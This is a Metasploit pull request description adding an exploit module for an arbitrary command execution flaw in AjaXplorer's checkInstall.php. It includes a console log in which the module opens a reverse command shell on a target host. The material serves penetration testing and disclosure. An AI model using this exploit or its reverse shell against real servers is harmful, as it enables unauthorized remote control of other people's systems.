rapid7/metasploit-framework — pull request #900 by wchen-r7 (2012-10-13 05:40:37+00:00)
Title: Add OSVDB-63552 AjaXplorer module (2010)

This pull request was created on behalf of David Maciejak, who emailed it to our dev mailbox. Old bug.

This module exploits an arbitrary command execution vulnerability in the AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to 2.6 are vulnerable.

msf exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mhL4n8ad02mgEkZ2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "mhL4n8ad02mgEkZ2\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.1.3:4444 -> 10.0.1.5:42557) at 2012-10-13 00:35:17 -0500